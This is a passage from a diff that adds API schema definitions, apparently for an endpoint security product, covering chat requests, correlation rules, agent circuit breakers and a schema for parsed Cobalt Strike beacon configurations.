+        minLength: 1
+        title: Array entry value
+        type: string
+      original_callback:
+        minLength: 1
+        title: Original callback
+        type: string
+      routine_status:
+        title: Routine status
+        type: integer
+      tampered_callback:
+        minLength: 1
+        title: Tampered callback
+        type: string
+    required:
+      - array_entry_value
+      - original_callback
+      - routine_status
+      - tampered_callback
+    type: object
+  Capability:
+    properties:
+      tactic_name:
+        minLength: 1
+        title: Tactic name
+        type: string
+      techniques:
+        items:
+          $ref: '#/definitions/CapabilityTechnique'
+        type: array
+    required:
+      - tactic_name
+      - techniques
+    type: object
+  CapabilityTechnique:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      details:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      technique_id:
+        minLength: 1
+        title: Technique id
+        type: string
+    required:
+      - description
+      - details
+      - technique_id
+    type: object
+  CapeScan:
+    properties:
+      detections:
+        minLength: 1
+        title: Detections
+        type: string
+      external_link:
+        minLength: 1
+        title: External link
+        type: string
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
+      task_id:
+        minLength: 1
+        title: Task id
+        type: string
+    required:
+      - detections
+      - external_link
+      - scan_date
+      - task_id
+    type: object
+  ChangePrimaryMethodValidator:
+    properties:
+      code:
+        minLength: 1
+        title: Code
+        type: string
+      method:
+        enum:
+          - app
+        title: Method
+        type: string
+    required:
+      - code
+      - method
+    type: object
+  Characteristics:
+    properties:
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      identifier:
+        minLength: 1
+        title: Identifier
+        type: string
+      label:
+        minLength: 1
+        title: Label
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - data
+      - description
+      - identifier
+      - label
+      - type
+    type: object
+  Chat:
+    properties:
+      archived:
+        title: Archived
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      public:
+        title: Public
+        type: boolean
+      requests:
+        items:
+          $ref: '#/definitions/InnerChatRequest'
+        type: array
+      title:
+        minLength: 1
+        title: Title
+        type: string
+        x-nullable: true
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - requests
+    type: object
+  ChatFeedback:
+    properties:
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      request:
+        format: uuid
+        title: Request
+        type: string
+      score:
+        maximum: 1.0
+        minimum: -1.0
+        title: Score
+        type: number
+        x-nullable: true
+      submitted:
+        readOnly: true
+        title: Submitted
+        type: boolean
+    required:
+      - request
+    type: object
+  ChatList:
+    properties:
+      archived:
+        title: Archived
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      first_context:
+        $ref: '#/definitions/AppLocationRead'
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      public:
+        title: Public
+        type: boolean
+      title:
+        minLength: 1
+        title: Title
+        type: string
+        x-nullable: true
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - first_context
+    type: object
+  ChatRequest:
+    properties:
+      conversation_id:
+        minLength: 1
+        title: Conversation id
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      enforce_tool:
+        description: Force the LLM to use a specific tool
+        enum:
+          - agent_list
+          - analyze_security_event
+          - driver_block_list
+          - ioc
+          - powershell
+          - security_event_list
+          - sigma
+          - threat_list
+          - yara
+        readOnly: true
+        title: Enforce tool
+        type: string
+        x-nullable: true
+      feedback:
+        $ref: '#/definitions/InnerChatFeedback'
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      locations:
+        items:
+          $ref: '#/definitions/AppLocationRead'
+        type: array
+      message:
+        title: Message
+        type: string
+      permissions:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      permissions_checksum:
+        minLength: 1
+        title: Permissions checksum
+        type: string
+      response:
+        minLength: 1
+        readOnly: true
+        title: Response
+        type: string
+        x-nullable: true
+      response_error_code:
+        enum:
+          - context_too_long
+          - empty_response
+          - failed_to_fetch_data
+          - history_processing_error
+          - http_error
+          - internal_error
+          - no_auth_token
+          - no_error
+          - no_user_id
+          - timeout
+          - transport_error
+          - unknown_error
+          - unknown_location
+        readOnly: true
+        title: Response error code
+        type: string
+      response_failed:
+        readOnly: true
+        title: Response failed
+        type: boolean
+      response_finished:
+        readOnly: true
+        title: Response finished
+        type: boolean
+      response_urls:
+        description: List of external URLs that are relevant to the response
+        items:
+          minLength: 1
+          title: Response urls
+          type: string
+        readOnly: true
+        type: array
+        x-nullable: true
+      steps:
+        description: List of steps the LLM went through to answer the request
+        items:
+          minLength: 1
+          title: Steps
+          type: string
+        readOnly: true
+        type: array
+        x-nullable: true
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - locations
+    type: object
+  CircuitBreaker:
+    properties:
+      agent:
+        format: uuid
+        readOnly: true
+        title: Agent
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+      upgrade_date:
+        format: date-time
+        readOnly: true
+        title: Upgrade date
+        type: string
+      upgrade_version:
+        minLength: 1
+        readOnly: true
+        title: Upgrade version
+        type: string
+    type: object
+  CircuitBreakerLightAgent:
+    properties:
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+    type: object
+  CircuitBreakerReset:
+    properties:
+      ostype:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Ostype
+        type: string
+    required:
+      - ostype
+    type: object
+  CircuitBreakerState:
+    properties:
+      agents_failure_lost:
+        items:
+          $ref: '#/definitions/CircuitBreakerLightAgent'
+        readOnly: true
+        type: array
+      agents_failure_same_version:
+        items:
+          $ref: '#/definitions/CircuitBreakerLightAgent'
+        readOnly: true
+        type: array
+      blocking:
+        title: Blocking
+        type: boolean
+      blocking_date:
+        format: date-time
+        title: Blocking date
+        type: string
+        x-nullable: true
+      blocking_description:
+        minLength: 1
+        title: Blocking description
+        type: string
+        x-nullable: true
+      blocking_reason:
+        minLength: 1
+        title: Blocking reason
+        type: string
+        x-nullable: true
+      blocking_threshold:
+        readOnly: true
+        title: Blocking threshold
+        type: integer
+        x-nullable: true
+      upgrade_sent:
+        readOnly: true
+        title: Upgrade sent
+        type: integer
+      upgrade_success:
+        readOnly: true
+        title: Upgrade success
+        type: integer
+    required:
+      - blocking
+      - blocking_date
+      - blocking_description
+      - blocking_reason
+    type: object
+    x-nullable: true
+  CircuitBreakerStats:
+    properties:
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      linux:
+        $ref: '#/definitions/CircuitBreakerState'
+      macos:
+        $ref: '#/definitions/CircuitBreakerState'
+      upgrade_delay:
+        readOnly: true
+        title: Upgrade delay
+        type: integer
+      windows:
+        $ref: '#/definitions/CircuitBreakerState'
+    required:
+      - linux
+      - macos
+      - windows
+    type: object
+  ClientGetProfile:
+    properties:
+      headers:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      metadata:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      parameters:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - headers
+      - metadata
+      - parameters
+    type: object
+  ClientPostProfile:
+    properties:
+      headers:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      output:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      parameters:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      session_id:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - headers
+      - output
+      - parameters
+      - session_id
+    type: object
+  CobaltConf:
+    properties:
+      b_cfg_caution:
+        title: B cfg caution
+        type: boolean
+      b_proc_inject_min_alloc_size:
+        title: B proc inject min alloc size
+        type: integer
+      b_proc_inject_start_rwx:
+        title: B proc inject start rwx
+        type: boolean
+      b_proc_inject_use_rwx:
+        title: B proc inject use rwx
+        type: boolean
+      b_stage_cleanup:
+        title: B stage cleanup
+        type: boolean
+      b_uses_cookies:
+        title: B uses cookies
+        type: boolean
+      beacon_type:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      c2_server:
+        minLength: 1
+        title: C2 server
+        type: string
+      crypto_scheme:
+        title: Crypto scheme
+        type: integer
+      dns_beaconing:
+        minLength: 1
+        title: Dns beaconing
+        type: string
+      dns_get_type_a:
+        minLength: 1
+        title: Dns get type a
+        type: string
+      dns_get_type_aaaa:
+        minLength: 1
+        title: Dns get type aaaa
+        type: string
+      dns_get_type_txt:
+        minLength: 1
+        title: Dns get type txt
+        type: string
+      dns_idle:
+        minLength: 1
+        title: Dns idle
+        type: string
+      dns_put_metadata:
+        minLength: 1
+        title: Dns put metadata
+        type: string
+      dns_put_output:
+        minLength: 1
+        title: Dns put output
+        type: string
+      dns_resolver:
+        minLength: 1
+        title: Dns resolver
+        type: string
+      dns_sleep:
+        title: Dns sleep
+        type: integer
+      dns_strategy:
+        minLength: 1
+        title: Dns strategy
+        type: string
+      dns_strategy_fail_seconds:
+        title: Dns strategy fail seconds
+        type: integer
+      dns_strategy_fail_x:
+        title: Dns strategy fail x
+        type: integer
+      dns_strategy_rotate_seconds:
+        title: Dns strategy rotate seconds
+        type: integer
+      headers_to_remove:
+        minLength: 1
+        title: Headers to remove
+        type: string
+      host_header:
+        minLength: 1
+        title: Host header
+        type: string
+      http_get_client:
+        $ref: '#/definitions/ClientGetProfile'
+      http_get_verb:
+        minLength: 1
+        title: Http get verb
+        type: string
+      http_post_chunk:
+        title: Http post chunk
+        type: integer
+      http_post_client:
+        $ref: '#/definitions/ClientPostProfile'
+      http_post_uri:
+        minLength: 1
+        title: Http post uri
+        type: string
+      http_post_verb:
+        minLength: 1
+        title: Http post verb
+        type: string
+      jitter:
+        title: Jitter
+        type: integer
+      kill_date:
+        minLength: 1
+        title: Kill date
+        type: string
+      malleable_c2_instructions:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      max_dns:
+        title: Max dns
+        type: integer
+      max_get_size:
+        title: Max get size
+        type: integer
+      obfuscate_sections_info:
+        minLength: 1
+        title: Obfuscate sections info
+        type: string
+      pipe_name:
+        minLength: 1
+        title: Pipe name
+        type: string
+      port:
+        title: Port
+        type: integer
+      proc_inject_allocation_method:
+        minLength: 1
+        title: Proc inject allocation method
+        type: string
+      proc_inject_execute:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      proc_inject_execute_custom:
+        minLength: 1
+        title: Proc inject execute custom
+        type: string
+      proc_inject_prepend_append_x64:
+        minLength: 1
+        title: Proc inject prepend append x64
+        type: string
+      proc_inject_prepend_append_x86:
+        minLength: 1
+        title: Proc inject prepend append x86
+        type: string
+      proc_inject_stub:
+        minLength: 1
+        title: Proc inject stub
+        type: string
+      proxy_behavior:
+        minLength: 1
+        title: Proxy behavior
+        type: string
+      proxy_config:
+        minLength: 1
+        title: Proxy config
+        type: string
+      proxy_password:
+        minLength: 1
+        title: Proxy password
+        type: string
+      proxy_user:
+        minLength: 1
+        title: Proxy user
+        type: string
+      public_key:
+        minLength: 1
+        title: Public key
+        type: string
+      public_key_md5:
+        minLength: 1
+        title: Public key md5
+        type: string
+      retry_duration:
+        title: Retry duration
+        type: integer
+      retry_increase_attempts:
+        title: Retry increase attempts
+        type: integer
+      retry_max_attempts:
+        title: Retry max attempts
+        type: integer
+      sleep_time:
+        title: Sleep time
+        type: integer
+      smb_frame_header:
+        minLength: 1
+        title: Smb frame header
+        type: string
+      spawn_to:
+        minLength: 1
+        title: Spawn to
+        type: string
+      spawnto_x64:
+        minLength: 1
+        title: Spawnto x64
+        type: string
+      spawnto_x86:
+        minLength: 1
+        title: Spawnto x86
+        type: string
+      ssh_banner:
+        minLength: 1
+        title: Ssh banner
+        type: string
+      ssh_host:
+        minLength: 1
+        title: Ssh host
+        type: string
+      ssh_password_plaintext:
+        minLength: 1
+        title: Ssh password plaintext
+        type: string
+      ssh_password_pubkey:
+        minLength: 1
+        title: Ssh password pubkey
+        type: string
+      ssh_port:
+        title: Ssh port
+        type: integer
+      ssh_username:
+        minLength: 1
+        title: Ssh username
+        type: string
+      tcp_frame_header:
+        minLength: 1
+        title: Tcp frame header
+        type: string
+      user_agent:
+        minLength: 1
+        title: User agent
+        type: string
+      watermark:
+        title: Watermark
+        type: integer
+      watermark_hash:
+        minLength: 1
+        title: Watermark hash
+        type: string
+    required:
+      - b_cfg_caution
+      - b_proc_inject_min_alloc_size
+      - b_proc_inject_start_rwx
+      - b_proc_inject_use_rwx
+      - b_stage_cleanup
+      - b_uses_cookies
+      - beacon_type
+      - c2_server
+      - crypto_scheme
+      - dns_beaconing
+      - dns_get_type_a
+      - dns_get_type_aaaa
+      - dns_get_type_txt
+      - dns_idle
+      - dns_put_metadata
+      - dns_put_output
+      - dns_resolver
+      - dns_sleep
+      - dns_strategy
+      - dns_strategy_fail_seconds
+      - dns_strategy_fail_x
+      - dns_strategy_rotate_seconds
+      - headers_to_remove
+      - host_header
+      - http_get_client
+      - http_get_verb
+      - http_post_chunk
+      - http_post_client
+      - http_post_uri
+      - http_post_verb
+      - jitter
+      - kill_date
+      - malleable_c2_instructions
+      - max_dns
+      - max_get_size
+      - obfuscate_sections_info
+      - pipe_name
+      - port
+      - proc_inject_allocation_method
+      - proc_inject_execute
+      - proc_inject_execute_custom
+      - proc_inject_prepend_append_x64
+      - proc_inject_prepend_append_x86
+      - proc_inject_stub
+      - proxy_behavior
+      - proxy_config
+      - proxy_password
+      - proxy_user
+      - public_key
+      - public_key_md5
+      - retry_duration
+      - retry_increase_attempts
+      - retry_max_attempts
+      - sleep_time
+      - smb_frame_header
+      - spawn_to
+      - spawnto_x64
+      - spawnto_x86
+      - ssh_banner
+      - ssh_host
+      - ssh_password_plaintext
+      - ssh_password_pubkey
+      - ssh_port
+      - ssh_username
+      - tcp_frame_header
+      - user_agent
+      - watermark
+      - watermark_hash
+    type: object
+  CodeLogin:
+    properties:
+      code:
+        minLength: 1
+        title: Code
+        type: string
+      ephemeral_token:
+        minLength: 1
+        title: Ephemeral token
+        type: string
+    required:
+      - code
+      - ephemeral_token
+    type: object
+  CollectRawEvidences:
+    properties:
+      evt:
+        title: Evt
+        type: boolean
+      fs:
+        title: Fs
+        type: boolean
+      hives:
+        title: Hives
+        type: boolean
+      logs:
+        title: Logs
+        type: boolean
+      mft:
+        title: Mft
+        type: boolean
+      prefetch:
+        title: Prefetch
+        type: boolean
+      usn:
+        title: Usn
+        type: boolean
+    type: object
+  Collector:
+    properties:
+      allow_auto_update_by_policy:
+        default: false
+        title: Allow auto update by policy
+        type: boolean
+      auto_update_agents_per_minute:
+        default: 15
+        minimum: 0
+        title: Auto update agents per minute
+        type: integer
+      enforce_agent_password:
+        default: true
+        title: Enforce agent password
+        type: boolean
+      show_agent_passwords_config_page:
+        default: true
+        title: Show agent passwords config page
+        type: boolean
+    type: object
+  CommPortTamper:
+    properties:
+      comm_port_status:
+        title: Comm port status
+        type: integer
+      eventtime_datetime:
+        format: date-time
+        title: Eventtime datetime
+        type: string
+    required:
+      - comm_port_status
+      - eventtime_datetime
+    type: object
+  Comment:
+    properties:
+      author_id:
+        readOnly: true
+        title: Author id
+        type: integer
+      author_username:
+        readOnly: true
+        title: Author username
+        type: string
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      datetime:
+        format: date-time
+        title: Datetime
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modified_date:
+        format: date-time
+        readOnly: true
+        title: Last modified date
+        type: string
+      resource:
+        enum:
+          - alert
+          - case
+        title: Resource
+        type: string
+      resource_id:
+        minLength: 1
+        title: Resource id
+        type: string
+    required:
+      - comment
+      - datetime
+      - resource_id
+    type: object
+  CommentResponse:
+    properties:
+      comments:
+        items:
+          $ref: '#/definitions/Comment'
+        type: array
+    required:
+      - comments
+    type: object
+  ConfigConnectorStatus:
+    properties:
+      extra:
+        title: Extra
+        type: object
+      last_check_date:
+        format: date-time
+        title: Last check date
+        type: string
+        x-nullable: true
+      last_error:
+        minLength: 1
+        title: Last error
+        type: string
+        x-nullable: true
+      value:
+        enum:
+          - error
+          - online
+          - unknown
+        title: Value
+        type: string
+    type: object
+    x-nullable: true
+  ConfigDownload:
+    properties:
+      config:
+        $ref: '#/definitions/AllConfig'
+      config_sections:
+        $ref: '#/definitions/AllConfigSection'
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - config
+      - version
+    type: object
+  Connection:
+    properties:
+      connection_state:
+        minLength: 1
+        title: Connection state
+        type: string
+      dst_addr:
+        minLength: 1
+        title: Dst addr
+        type: string
+      dst_port:
+        title: Dst port
+        type: integer
+      ip_version:
+        minLength: 1
+        title: Ip version
+        type: string
+      protocol:
+        minLength: 1
+        title: Protocol
+        type: string
+      src_addr:
+        minLength: 1
+        title: Src addr
+        type: string
+      src_port:
+        title: Src port
+        type: integer
+    required:
+      - connection_state
+      - dst_addr
+      - dst_port
+      - ip_version
+      - protocol
+      - src_addr
+      - src_port
+    type: object
+  ConnectorTest:
+    properties:
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+    required:
+      - status
+    type: object
+  ControlVariousValues:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - value
+    type: object
+  Conversation:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      requests:
+        items:
+          $ref: '#/definitions/InnerRequest'
+        type: array
+    required:
+      - id
+      - requests
+    type: object
+  CorrelationEvent:
+    properties:
+      event_id:
+        minLength: 1
+        title: Event id
+        type: string
+      is_standalone_rule:
+        title: Is standalone rule
+        type: boolean
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - event_id
+      - is_standalone_rule
+      - rule_id
+      - rule_name
+      - timestamp
+    type: object
+  CorrelationInfo:
+    properties:
+      end_timestamp:
+        format: date-time
+        title: End timestamp
+        type: string
+      events:
+        items:
+          $ref: '#/definitions/CorrelationEvent'
+        type: array
+      group_by_fields:
+        items:
+          $ref: '#/definitions/KeyValueDoc'
+        type: array
+      is_group_by_process:
+        title: Is group by process
+        type: boolean
+      start_timestamp:
+        format: date-time
+        title: Start timestamp
+        type: string
+      value_count_values:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - end_timestamp
+      - events
+      - group_by_fields
+      - is_group_by_process
+      - start_timestamp
+      - value_count_values
+    type: object
+  CorrelationPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/CorrelationRule'
+        type: array
+      source:
+        $ref: '#/definitions/CorrelationSource'
+    required:
+      - count
+      - results
+    type: object
+  CorrelationRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      inner_correlation:
+        items:
+          $ref: '#/definitions/InnerCorrelationRule'
+        readOnly: true
+        type: array
+      inner_rule_counts:
+        $ref: '#/definitions/InnerRuleCounts'
+      inner_sigma:
+        items:
+          $ref: '#/definitions/InnerSigmaRule'
+        readOnly: true
+        type: array
+      is_valid:
+        readOnly: true
+        title: Is valid
+        type: boolean
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_dependencies:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      silent:
+        title: Silent
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  CorrelationRuleLinkedToCorrelationRuleResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - linked_correlation_rule
+          - unknown_error
+        title: Code
+        type: string
+      correlation_rule:
+        $ref: '#/definitions/SimpleCorrelationRuleAndSourceSerializer'
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      linked_correlation:
+        items:
+          $ref: '#/definitions/SimpleCorrelationRuleAndSourceSerializer'
+        type: array
+    required:
+      - correlation_rule
+      - details
+      - linked_correlation
+    type: object
+  CorrelationRulesetPagination:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/CorrelationRulesetRule'
+        type: array
+      source:
+        $ref: '#/definitions/CorrelationSource'
+    required:
+      - count
+      - results
+    type: object
+  CorrelationRulesetResponse:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        title: Set default
+        type: boolean
+      source:
+        $ref: '#/definitions/CorrelationRulesetSource'
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - rule_ids
+      - set_default
+      - source
+      - state
+    type: object
+  CorrelationRulesetRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        readOnly: true
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        readOnly: true
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        readOnly: true
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Global state
+        type: string
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        readOnly: true
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      inner_correlation:
+        items:
+          $ref: '#/definitions/InnerCorrelationRule'
+        readOnly: true
+        type: array
+      inner_rule_counts:
+        $ref: '#/definitions/InnerRuleCounts'
+      inner_sigma:
+        items:
+          $ref: '#/definitions/InnerSigmaRule'
+        readOnly: true
+        type: array
+      is_valid:
+        readOnly: true
+        title: Is valid
+        type: boolean
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        readOnly: true
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_dependencies:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
